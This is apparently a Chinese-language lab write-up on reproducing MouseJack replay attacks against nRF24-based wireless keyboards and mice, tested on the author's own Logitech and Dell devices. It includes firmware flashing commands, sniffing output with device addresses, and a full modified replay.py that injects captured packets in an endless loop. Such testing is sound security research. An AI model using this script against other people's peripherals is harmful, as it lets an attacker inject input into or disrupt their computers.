想复现下,但是目前手里只有ubertooth,emmmmm
前言
无线键鼠通常使用在2.4GHz ISM频段中运行的专有协议进行通信。当键鼠产生按键或移动时就会把相应的射频数据包发送到无线接收器中,从而和pc通信。
本文使用mousejack项目和crazyradio pa无线收发器来分析无线键鼠间的通信,并实现重放攻击。
下面三个测试设备都是使用的2.4GHz nRF24收发器:
- 罗技k220无线键鼠
- 罗技k400r无线触控键盘
- Dell KM714
crazyradio pa
crazyradio pa相当于放大版的usb适配器,通过修改其固件,可以使其包含对伪混杂模式的支持,从而简化嗅探包和注入功能的代码。
烧录固件
接入crazyradio,lsusb可以看到设备id为1915:7777
安装依赖:
sudo apt install sdcc binutils python python-pip
pip install pyusb
pip install platformio
烧录:
git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware
python usbtools/launchBootloader.py
显示timeout,原因应该是原来的脚本设置的timeout时间太短,改一下就好:
显示Bootloader started启动成功。
从这里下载对应的固件版本,烧录固件:
python usbtools/nrfbootload.py flash cradio-0.53.bin
烧录成功后重新插拔设备。设备id为1915:0101
mousejack
MouseJack是一组影响非蓝牙无线鼠标和键盘的安全漏洞项目。这些漏洞跨越7家供应商,使攻击者能够在100米之外受害者的电脑上输入任意命令。
编译项目:
git clone --recursive https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install
成功后重新插拔设备,id为1915:0102
mousejack扩展工具:https://github.com/iamckn/mousejack_transmit
键鼠重放攻击
每次执行完脚本后都需要重新插拔crazyradio pa设备
扫描无线设备:
cd nrf-research-firmware/tools
sudo python nrf24-scanner.py
可以确定到无线鼠标的mac地址为B0:58:31:49:A4
之后可以针对性地嗅探鼠标:
sudo python nrf24-sniffer.py -a B0:58:31:49:A4
嗅探到了左右键点击时的数据:
右键点击
[2019-04-14 19:31:32.972] 32 10 B0:58:31:49:A4 00:C2:02:00:00:00:00:00:00:3C
[2019-04-14 19:31:32.980] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
右键松开
[2019-04-14 19:31:34.479] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:31:34.484] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键点击
[2019-04-14 19:32:35.658] 32 10 B0:58:31:49:A4 00:C2:01:00:00:00:00:00:00:3D
[2019-04-14 19:32:35.666] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键松开
[2019-04-14 19:32:36.699] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:32:36.708] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
重放右键点击
在tools目录下新建pack.log文件,写入右键点击的数据:
00:C2:02:00:00:00:00:00:00:3C
00:4F:00:00:55:00:00:00:00:5C
00:C2:00:00:00:00:00:00:00:3E
00:4F:00:00:55:00:00:00:00:5C
官方给的脚本运行失败了,没法把数据包发到对应的channel里。
用vscode开始自己调试找bug:
在tools/lib/common.py文件中修改logging level,让它能输出debug信息(或者直接加参数-v输出详细信息):
在launch.json中加上命令行参数:
在不加-c参数的情况下它会把channel从2到83都扫一遍,但仍然ping不成功channel,无法发送payload。
而在nrf24-sniffer.py中同理却能成功ping到channel:
最后发现是replay.py的address的问题,官方写的是try_address = chr(b) + address[1:] 导致address为B0:58:31:49:00。。。改成try_address = address[0:]就Ok了。
在发送payload前加入while true无限循环达成重放干扰攻击效果。
最终replay.py脚本:
#!/usr/bin/env python
'''
This program is changed by nrf24-network-mapper, you can
use this script to replay packets.
'''
import binascii, time
from lib import common
# Parse command line arguments and initialize the radio
common.init_args('./nrf24-network-mapper.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-p', '--passes', type=str, help='Number of passes (default 2)', default=2)
common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500)
common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES')
common.parse_and_init()
# Parse the address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
if len(address) < 2:
raise Exception('Invalid address: {0}'.format(common.args.address))
# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
# Payload used for pinging the target device
# (some nRF24 based devices don't play well with shorter payloads)
# Format the ACK timeout and auto retry values
ack_timeout = int(common.args.ack_timeout / 250) - 1
ack_timeout = max(0, min(ack_timeout, 15))
retries = max(0, min(common.args.retries, 15))
ping_payload = '\x0F\x0F\x0F\x0F'
#click_payload ='\x01\x02\x00\x00\x03\x38'
#Ping each address on each channel args.passes number of times
#Read pack
def ReadPack():
payload = []
for line in open('pack.log'):
payload.append(line)
return payload
def Ping():
channels_t = []
valid_addresses = []
for p in range(common.args.passes):
for b in range(4):
try_address = address[0:]
common.radio.enter_sniffer_mode(try_address)
for c in range(len(common.args.channels)):
common.radio.set_channel(common.args.channels[c])
if common.radio.transmit_payload(ping_payload, ack_timeout, retries):
channels_t.append(common.channels[c])
return channels_t
def airplay(sendpayload,get_channels,data):
valid_addresses = []
for p in range(common.args.passes):
# Step through each potential address
for b in range(4):
try_address = address[0:]
common.radio.enter_sniffer_mode(try_address)
# Step through each channel
for c in range(len(get_channels)):
common.radio.set_channel(get_channels[c])
# Attempt to ping the address
while True:
if common.radio.transmit_payload(sendpayload, ack_timeout, retries):
valid_addresses.append(try_address)
print ('Sending Payload:'+' '+data)
#run
def run():
get_channels=list(set(Ping()))
payloads = ReadPack()
print (payloads)
for payload in payloads:
data = payload.strip('\n')
payload = binascii.a2b_hex(data.replace(':',''))
airplay(payload,get_channels,data)
def main():
run()
if __name__ == '__main__':
main()
重放攻击:
sudo python replay.py -a B0:58:31:49:A4
攻击测试
经过测试罗技k220的键盘和k400r的无线触控键盘都能实现重放攻击。
下面是嗅探到的数据包:
k220
右键点击
[2019-04-14 19:31:32.972] 32 10 B0:58:31:49:A4 00:C2:02:00:00:00:00:00:00:3C
[2019-04-14 19:31:32.980] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
右键松开
[2019-04-14 19:31:34.479] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:31:34.484] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键点击
[2019-04-14 19:32:35.658] 32 10 B0:58:31:49:A4 00:C2:01:00:00:00:00:00:00:3D
[2019-04-14 19:32:35.666] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键松开
[2019-04-14 19:32:36.699] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:32:36.708] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
空格按下
[2019-04-22 17:39:42.260] 65 22 55:11:BE:0B:B4 00:D3:1A:EB:F6:4C:3A:4C:77:C7:28:4F:CB:18:00:00:00:00:00:00:00:C8
[2019-04-22 17:39:42.281] 65 10 55:11:BE:0B:B4 00:4F:00:00:55:00:00:00:00:5C
空格松开
[2019-04-22 17:39:43.696] 65 22 55:11:BE:0B:B4 00:D3:B7:BD:CB:63:DB:7B:45:17:28:4F:CB:19:00:00:00:00:00:00:00:7E
[2019-04-22 17:39:43.718] 65 10 55:11:BE:0B:B4 00:4F:00:00:55:00:00:00:00:5C
[2019-04-22 17:39:43.796] 65 10 55:11:BE:0B:B4 00:4F:00:03:70:00:00:00:00:3E
k400r
右键
[2019-04-22 18:07:54.975] 71 10 D5:97:92:C1:07 00:C2:02:00:00:00:00:00:00:3C
[2019-04-22 18:07:55.442] 71 10 D5:97:92:C1:07 00:C2:00:00:00:00:00:00:00:3E
空格
[2019-04-22 18:08:43.194] 71 22 D5:97:92:C1:07 00:D3:86:00:51:75:58:39:C7:00:40:FD:10:72:00:00:00:00:00:00:00:CA
[2019-04-22 18:08:43.671] 71 22 D5:97:92:C1:07 00:D3:9C:F5:7B:D6:B1:5F:FC:08:40:FD:10:73:00:00:00:00:00:00:00:77
[2019-04-22 18:08:43.679] 71 10 D5:97:92:C1:07 00:4F:00:01:18:00:00:00:00:98
更改一下pack.log发送数据包的内容就可以用replay.py实现重放攻击了。
另外在测试dell km714无线键鼠时有个很奇怪的现象,用nrf24-network-mapper.py来跑星形网络的时候,键鼠会失效,但重新拔插接收器就能继续正常使用。而另外两个测试的键鼠就没有这种现象。
而这个脚本仅仅是改了给定地址的最后一个字节,并在每个信道上ping 256个可能的地址,感觉没有什么理由能让键鼠都失效,可能是键鼠固件的问题吧…